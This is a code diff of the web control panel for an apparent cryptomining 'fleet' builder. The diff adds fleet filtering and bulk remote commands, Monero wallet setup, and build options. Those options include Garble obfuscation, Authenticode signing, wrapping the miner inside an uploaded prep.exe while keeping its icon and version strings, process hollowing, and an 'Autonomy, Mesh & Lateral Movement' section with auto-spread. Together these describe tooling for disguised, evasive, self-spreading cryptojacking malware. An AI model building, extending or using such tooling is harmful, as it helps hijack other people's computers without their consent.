|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">+</span>
|
||||
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">+</span>
|
||||
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-warn">
|
||||
<span className="preflight-icon">≈</span>
|
||||
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
|
||||
</li>
|
||||
</ul>
|
||||
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
|
||||
{fusionEstimate.export_path && (
|
||||
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
|
||||
)}
|
||||
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
|
||||
{fusionEstimate.notes?.map((note) => (
|
||||
<p key={note} className="form-hint">{note}</p>
|
||||
))}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Build pipeline"
|
||||
badge="server-only"
|
||||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_build" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="preflight-panel card">
|
||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
{lastBuild.signed && 'Authenticode signature applied.'}
|
||||
</p>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
|
||||
@@ -9,9 +9,17 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
||||
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
const [shares, setShares] = useState<Share[]>([]);
|
||||
@@ -23,7 +31,9 @@ export default function DashboardPage() {
|
||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
||||
const [hasBuilds, setHasBuilds] = useState(false);
|
||||
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
useEffect(() => {
|
||||
api.getRecentShares(20).then(setShares).catch(console.error);
|
||||
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
|
||||
@@ -70,11 +80,12 @@ export default function DashboardPage() {
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
}, [totalHashrate, avgCpu, avgMem]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 8),
|
||||
[agents]
|
||||
);
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
const topAgents = useMemo(
|
||||
() => [...filteredAgents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 12),
|
||||
[filteredAgents]
|
||||
);
|
||||
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
|
||||
|
||||
const activityItems = useMemo(
|
||||
@@ -97,8 +108,28 @@ export default function DashboardPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
const handleBulkAction = async (action: string) => {
|
||||
let targetIds = [...selectedIds];
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate.');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) return;
|
||||
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return ( <div className="page fade-in command-deck">
|
||||
<AlertBanner alerts={alerts} />
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
@@ -213,8 +244,17 @@ export default function DashboardPage() {
|
||||
<span className="section-ornament">◆</span> Machine Roster
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<div className="agent-grid">
|
||||
{agents.length === 0 && (
|
||||
{agents.length > 0 && (
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
)}
|
||||
<div className="agent-grid"> {agents.length === 0 && (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<div className="empty-icon">⚙</div>
|
||||
<h3>No miners on the wire</h3>
|
||||
@@ -230,12 +270,31 @@ export default function DashboardPage() {
|
||||
>
|
||||
<div className="agent-card-header">
|
||||
<div className="agent-name">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onChange={(e) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (e.target.checked) next.add(agent.id);
|
||||
else next.delete(agent.id);
|
||||
return next;
|
||||
});
|
||||
}}
|
||||
/>
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
<div className="agent-hash-bar">
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.35rem' }}>
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)} <div className="agent-hash-bar">
|
||||
<div
|
||||
className="agent-hash-fill"
|
||||
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
|
||||
@@ -250,12 +309,16 @@ export default function DashboardPage() {
|
||||
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
|
||||
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
||||
</div>
|
||||
<AgentRemoteActions agent={agent} compact />
|
||||
<AgentRemoteActions agent={agent} compact online={agent.status === 'online'} />
|
||||
</NeonCard>
|
||||
))}
|
||||
{agents.length > 0 && topAgents.length === 0 && (
|
||||
<NeonCard accent="brass" className="empty-state">
|
||||
<p>No agents match current filters.</p>
|
||||
</NeonCard>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Share Log
|
||||
@@ -298,21 +361,6 @@ export default function DashboardPage() {
|
||||
);
|
||||
}
|
||||
|
||||
function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
function formatTime(t: string): string {
|
||||
return new Date(t).toLocaleTimeString();
|
||||
}
|
||||
|
||||
@@ -1221,3 +1221,20 @@
|
||||
border-radius: 6px;
|
||||
background: rgba(248, 113, 113, 0.08);
|
||||
}
|
||||
|
||||
.forge-mode-toggle {
|
||||
display: inline-flex;
|
||||
gap: 4px;
|
||||
margin-right: 4px;
|
||||
}
|
||||
|
||||
.forge-simple-banner {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.35);
|
||||
background: rgba(212, 175, 55, 0.06);
|
||||
}
|
||||
|
||||
.forge-simple-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
@@ -176,6 +176,11 @@ export default function SettingsPage() {
|
||||
strict_wallet_validation: false,
|
||||
dashboard_subtitle: '',
|
||||
open_firewall_on_start: true,
|
||||
obfuscate_default: false,
|
||||
sign_enabled: false,
|
||||
sign_cert_thumbprint: '',
|
||||
sign_tool_path: '',
|
||||
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||||
};
|
||||
|
||||
return (
|
||||
@@ -210,7 +215,27 @@ export default function SettingsPage() {
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||||
)}
|
||||
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
|
||||
<p className="form-hint">Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.</p>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
style={{ marginTop: '0.75rem' }}
|
||||
onClick={() => {
|
||||
if (!config) return;
|
||||
updateField('server.public_url', serverInfo.suggested_url);
|
||||
updateField('server.open_firewall_on_start', true);
|
||||
updateField('server.obfuscate_default', false);
|
||||
updateField('server.sign_enabled', false);
|
||||
if (!config.wallet.address?.trim()) {
|
||||
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
|
||||
} else {
|
||||
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
|
||||
}
|
||||
}}
|
||||
>
|
||||
Use best defaults
|
||||
</button>
|
||||
<FieldHint field="calibrate_quick_setup" />
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
@@ -233,9 +258,18 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||||
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
|
||||
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||
value={s.public_url}
|
||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||
{serverInfo?.suggested_url && (
|
||||
<button type="button" className="btn btn-outline btn-sm"
|
||||
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
|
||||
Use detected LAN
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
<FieldHint field="public_url" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
@@ -291,9 +325,11 @@ export default function SettingsPage() {
|
||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Address <HelpTip field="wallet" /></label>
|
||||
<input type="text" className="input mono" value={config.wallet.address}
|
||||
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
|
||||
<input type="text" className="input mono" placeholder="4… (95 chars)"
|
||||
value={config.wallet.address}
|
||||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||||
<FieldHint field="calibrate_wallet" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Payment ID (optional)</label>
|
||||
@@ -395,6 +431,47 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<h2 className="font-display">Forge Pipeline</h2>
|
||||
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
|
||||
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
|
||||
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate_default" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
|
||||
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
|
||||
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
|
||||
</label>
|
||||
<FieldHint field="sign_enabled" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
|
||||
<input type="text" className="input mono" placeholder="AB CD EF ..."
|
||||
value={s.sign_cert_thumbprint || ''}
|
||||
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
|
||||
<FieldHint field="sign_cert_thumbprint" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
|
||||
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
|
||||
value={s.sign_tool_path || ''}
|
||||
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
|
||||
<input type="text" className="input mono"
|
||||
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
|
||||
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
|
||||
<FieldHint field="sign_timestamp_url" />
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<h2 className="font-display">Data & Limits</h2>
|
||||
<p className="section-desc">Retention and capacity for this host.</p>
|
||||
|
||||
@@ -18,6 +18,8 @@ export interface Agent {
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct: number;
|
||||
uptime_seconds: number;
|
||||
notes?: string;
|
||||
tags?: string[];
|
||||
}
|
||||
|
||||
export interface Share {
|
||||
@@ -100,6 +102,11 @@ export interface ServerSettings {
|
||||
strict_wallet_validation: boolean;
|
||||
dashboard_subtitle: string;
|
||||
open_firewall_on_start: boolean;
|
||||
obfuscate_default?: boolean;
|
||||
sign_enabled?: boolean;
|
||||
sign_cert_thumbprint?: string;
|
||||
sign_tool_path?: string;
|
||||
sign_timestamp_url?: string;
|
||||
}
|
||||
|
||||
export interface PoolConfig {
|
||||
@@ -244,6 +251,24 @@ export interface BuildRequest {
|
||||
process_hollowing?: boolean;
|
||||
mesh_p2p?: boolean;
|
||||
auto_spread?: boolean;
|
||||
obfuscate?: boolean;
|
||||
sign_build?: boolean;
|
||||
}
|
||||
|
||||
export interface FusionEstimate {
|
||||
prep_bytes: number;
|
||||
prep_name: string;
|
||||
estimated_worker_bytes: number;
|
||||
estimated_fusion_stub_bytes: number;
|
||||
estimated_resource_patch_bytes: number;
|
||||
estimated_total_bytes: number;
|
||||
output_file_name: string;
|
||||
project_root_path: string;
|
||||
archive_path_hint: string;
|
||||
export_path?: string;
|
||||
obfuscate: boolean;
|
||||
sign_build: boolean;
|
||||
notes: string[];
|
||||
}
|
||||
|
||||
export interface BuildResponse {
|
||||
@@ -262,6 +287,8 @@ export interface BuildResponse {
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
worker_file?: string;
|
||||
signed?: boolean;
|
||||
obfuscated?: boolean;
|
||||
}
|
||||
|
||||
export interface BlueprintInfo {
|
||||
@@ -273,5 +300,5 @@ export interface BlueprintInfo {
|
||||
|
||||
export interface WSMessage {
|
||||
type: string;
|
||||
payload: any;
|
||||
payload: import('./ws').WSPayload;
|
||||
}
|
||||
|
||||
56
server/web/src/types/ws.ts
Normal file
56
server/web/src/types/ws.ts
Normal file
@@ -0,0 +1,56 @@
|
||||
import type { Agent } from '../types';
|
||||
|
||||
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
|
||||
export interface WSDashboardInit {
|
||||
agents: Agent[];
|
||||
}
|
||||
|
||||
export interface WSAgentOffline {
|
||||
agent_id: string;
|
||||
}
|
||||
|
||||
export interface WSStatsUpdate {
|
||||
agent_id: string;
|
||||
hashrate_15s: number;
|
||||
hashrate_1m: number;
|
||||
hashrate_15m: number;
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct?: number;
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
agent_id?: string;
|
||||
action?: string;
|
||||
success?: boolean;
|
||||
message?: string;
|
||||
}
|
||||
|
||||
export interface WSAgentLog {
|
||||
agent_id: string;
|
||||
content: string;
|
||||
}
|
||||
|
||||
export interface WSServerLog {
|
||||
line: string;
|
||||
}
|
||||
|
||||
export type WSPayload =
|
||||
| WSDashboardInit
|
||||
| Agent
|
||||
| WSAgentOffline
|
||||
| WSStatsUpdate
|
||||
| import('../types').Share
|
||||
| import('../types').FleetAlert
|
||||
| import('../types').PoolStatus[]
|
||||
| import('../types').AIActivityEntry
|
||||
| WSCommandResult
|
||||
| WSAgentLog
|
||||
| WSServerLog;
|
||||
|
||||
export interface WSMessageTyped<T extends string = string> {
|
||||
type: T;
|
||||
payload: WSPayload;
|
||||
}
|
||||
Reference in New Issue
Block a user